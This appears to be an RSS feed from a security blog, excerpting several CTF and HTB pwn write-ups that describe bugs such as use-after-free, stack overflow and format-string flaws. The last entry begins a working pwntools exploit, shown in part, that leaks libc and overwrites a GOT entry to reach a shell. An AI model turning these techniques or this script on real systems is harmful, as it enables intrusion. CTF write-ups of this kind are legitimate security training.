<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Pwn on Zero&#39;s Blog</title>
    <link>/tags/pwn/</link>
    <description>Recent content in Pwn on Zero&#39;s Blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 04 Mar 2026 14:00:00 +0700</lastBuildDate>
    <atom:link href="/tags/pwn/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>EH4X CTF 2026: Writeup</title>
      <link>/posts/eh4x-ctf-2026-writeup/</link>
      <pubDate>Wed, 04 Mar 2026 14:00:00 +0700</pubDate>
      <guid>/posts/eh4x-ctf-2026-writeup/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.&lt;/p&gt;&#xA;&lt;h2 id=&#34;table-of-contents&#34;&gt;Table of Contents&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#heist-v1-blockchain&#34;&gt;Heist V1 (Blockchain)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#i-guess-bro-reverse&#34;&gt;i-guess-bro (Reverse)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#womp-womp-pwn&#34;&gt;Womp Womp (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#lulocator-pwn&#34;&gt;Lulocator (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#sarcasm--sarcasm-pwn&#34;&gt;SarcAsm / Sarcasm (Pwn)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#inferno-sprint-misc&#34;&gt;Inferno Sprint (Misc)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#chusembly-misc&#34;&gt;Chusembly (Misc)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;#final-notes&#34;&gt;Final Notes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;heist-v1-blockchain&#34;&gt;Heist V1 (Blockchain)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;tldr&#34;&gt;TL;DR&lt;/h3&gt;&#xA;&lt;p&gt;The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (&lt;code&gt;admin&lt;/code&gt;/&lt;code&gt;paused&lt;/code&gt;), then funds could be withdrawn.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Arms roped</title>
      <link>/posts/htb-pwn-arms-roped/</link>
      <pubDate>Tue, 03 Mar 2026 15:20:00 +0700</pubDate>
      <guid>/posts/htb-pwn-arms-roped/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Arms roped&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Get code execution and read the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;binary-recon&#34;&gt;Binary Recon&lt;/h2&gt;&#xA;&lt;p&gt;Initial triage (&lt;code&gt;file&lt;/code&gt;, &lt;code&gt;checksec&lt;/code&gt;, &lt;code&gt;readelf&lt;/code&gt;) showed:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;32-bit ARM ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;Stack canary enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;Bundled &lt;code&gt;libc.so.6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Main vulnerable path is in &lt;code&gt;string_storer()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;reads with &lt;code&gt;scanf(&amp;quot;%m[^\n]%n&amp;quot;, &amp;amp;tmp, &amp;amp;n)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;copies with &lt;code&gt;memcpy(localbuf, tmp, n)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;prints with &lt;code&gt;puts(localbuf)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The bug is straightforward: &lt;strong&gt;attacker-controlled &lt;code&gt;n&lt;/code&gt; is copied into a fixed stack buffer&lt;/strong&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: TicTacToed</title>
      <link>/posts/htb-pwn-tictactoed/</link>
      <pubDate>Thu, 26 Feb 2026 17:00:00 +0700</pubDate>
      <guid>/posts/htb-pwn-tictactoed/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; TicTacToed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Unlock the hidden interface, pass authentication, and recover the flag from the embedded C2 workflow.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-recon&#34;&gt;Initial Recon&lt;/h2&gt;&#xA;&lt;p&gt;The challenge binary is a Rust ELF (PIE, Full RELRO, NX, no canary, not stripped), with useful symbols left intact.&lt;/p&gt;&#xA;&lt;p&gt;Important symbols during reversing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;main&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;check_winner&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;validate_access_code&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;decrypt_key&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_for_credentials&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;execute_c2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Key observations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A hidden path unlocks after a specific 5x5 tic-tac-toe win pattern.&lt;/li&gt;&#xA;&lt;li&gt;Auth is not random: input is SHA-256 checked against an embedded expected hash.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;decrypt_key&lt;/code&gt; reconstructs the credential from 3 encrypted parts using XOR &lt;code&gt;^ 0x5a&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;On successful auth, the binary drops and executes a second ELF (&lt;code&gt;/tmp/C2_executable&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;hidden-credential-recovery&#34;&gt;Hidden Credential Recovery&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;decrypt_key&lt;/code&gt; uses three encrypted byte arrays (&lt;code&gt;ENC_PART1/2/3&lt;/code&gt;) and applies a transform closure equivalent to:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Portaloo</title>
      <link>/posts/htb-pwn-portaloo/</link>
      <pubDate>Thu, 26 Feb 2026 15:25:00 +0700</pubDate>
      <guid>/posts/htb-pwn-portaloo/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Portaloo&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Turn the portal manager bugs into code execution and recover the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-recon&#34;&gt;Initial Recon&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt; profile:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;Full RELRO&lt;/li&gt;&#xA;&lt;li&gt;Canary enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Menu primitives:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create Portal&lt;/li&gt;&#xA;&lt;li&gt;Destroy Portal&lt;/li&gt;&#xA;&lt;li&gt;Upgrade Portal&lt;/li&gt;&#xA;&lt;li&gt;Peek into the Void&lt;/li&gt;&#xA;&lt;li&gt;Step into the portal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Interesting functions from reversing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;create_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;destroy_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;upgrade_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;peek_into_the_void&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;step_into_the_portal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;vulnerability-chain&#34;&gt;Vulnerability Chain&lt;/h2&gt;&#xA;&lt;h3 id=&#34;1-use-after-free-in-portal-slots&#34;&gt;1) Use-After-Free in portal slots&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;destroy_portal&lt;/code&gt; calls &lt;code&gt;free(slots[idx])&lt;/code&gt; but does &lt;strong&gt;not&lt;/strong&gt; clear the slot pointer. That leaves stale freed pointers reachable via other menu actions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Evil Corp</title>
      <link>/posts/htb-pwn-evil-corp/</link>
      <pubDate>Thu, 26 Feb 2026 03:40:00 +0700</pubDate>
      <guid>/posts/htb-pwn-evil-corp/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Evil Corp&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Exploit the support-message path to get code execution and recover the flag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;initial-triage&#34;&gt;Initial Triage&lt;/h2&gt;&#xA;&lt;p&gt;Binary: &lt;code&gt;evil-corp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;No stack canary&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Key behavior:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Program uses wide-char I/O (&lt;code&gt;fgetws&lt;/code&gt;, &lt;code&gt;wcscmp&lt;/code&gt;, &lt;code&gt;wcstol&lt;/code&gt;, &lt;code&gt;wprintf&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Login credentials are hardcoded and checked with &lt;code&gt;wcscmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Menu option 2 (&lt;code&gt;ContactSupport&lt;/code&gt;) is the vulnerable path&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Recovered credentials:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: r0bob1rd</title>
      <link>/posts/htb-pwn-r0bob1rd/</link>
      <pubDate>Wed, 25 Feb 2026 17:45:00 +0700</pubDate>
      <guid>/posts/htb-pwn-r0bob1rd/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; r0bob1rd&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Gain shell and read flag from remote service&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;binary-recon&#34;&gt;Binary Recon&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;checksec&lt;/code&gt; and static triage show:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;64-bit ELF&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Stack canary enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;No PIE&lt;/li&gt;&#xA;&lt;li&gt;Not stripped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Core issues in &lt;code&gt;operation()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Negative index OOB read&lt;/strong&gt; on global &lt;code&gt;robobirdNames&lt;/code&gt; table:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User-controlled index is used in pointer arithmetic around &lt;code&gt;.data/.got&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-8&lt;/code&gt; maps to &lt;code&gt;setvbuf@got&lt;/code&gt; and leaks libc pointer bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Format string vulnerability&lt;/strong&gt;:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user input is passed directly to &lt;code&gt;printf(buf)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enables arbitrary write primitive via &lt;code&gt;%n&lt;/code&gt; payloads.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;exploit-plan&#34;&gt;Exploit Plan&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send index &lt;code&gt;-8&lt;/code&gt; to leak &lt;code&gt;setvbuf@got&lt;/code&gt; runtime address.&lt;/li&gt;&#xA;&lt;li&gt;Compute &lt;code&gt;libc_base = leak - libc.sym[&#39;setvbuf&#39;]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use FSB payload to overwrite &lt;code&gt;__stack_chk_fail@got&lt;/code&gt; with a libc one_gadget.&lt;/li&gt;&#xA;&lt;li&gt;Overflow description (&lt;code&gt;fgets&lt;/code&gt; into smaller stack buffer) to force canary failure.&lt;/li&gt;&#xA;&lt;li&gt;Canary check calls hijacked &lt;code&gt;__stack_chk_fail&lt;/code&gt; =&amp;gt; one_gadget =&amp;gt; shell.&lt;/li&gt;&#xA;&lt;li&gt;Execute &lt;code&gt;cat /flag.txt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;working-exploit-script&#34;&gt;Working Exploit Script&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;amd64&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;log_level &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BIN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./r0bob1rd&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LIBC &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./glibc/libc.so.6&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LD &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;./glibc/ld.so.2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HOST &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;154.57.164.74&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32234&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(BIN, checksec&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;libc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(LIBC, checksec&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;start&lt;/span&gt;(remote_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; remote_mode:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; remote(HOST, PORT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; process([LD, BIN])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;solve&lt;/span&gt;(io):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Stage 1: OOB leak from setvbuf@got via negative index&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;-8&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;sen: &amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    leak_raw &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; io&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;, drop&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    leak &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u64(leak_raw[:&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; leak &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sym[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;setvbuf&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;success(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;libc base = &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# one_gadget candidates from bundled libc&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# 0xe3afe, 0xe3b01, 0xe3b04&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    one &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; libc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xe3b01&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;success(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;one_gadget = &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(one)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Stage 2: format-string overwrite&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 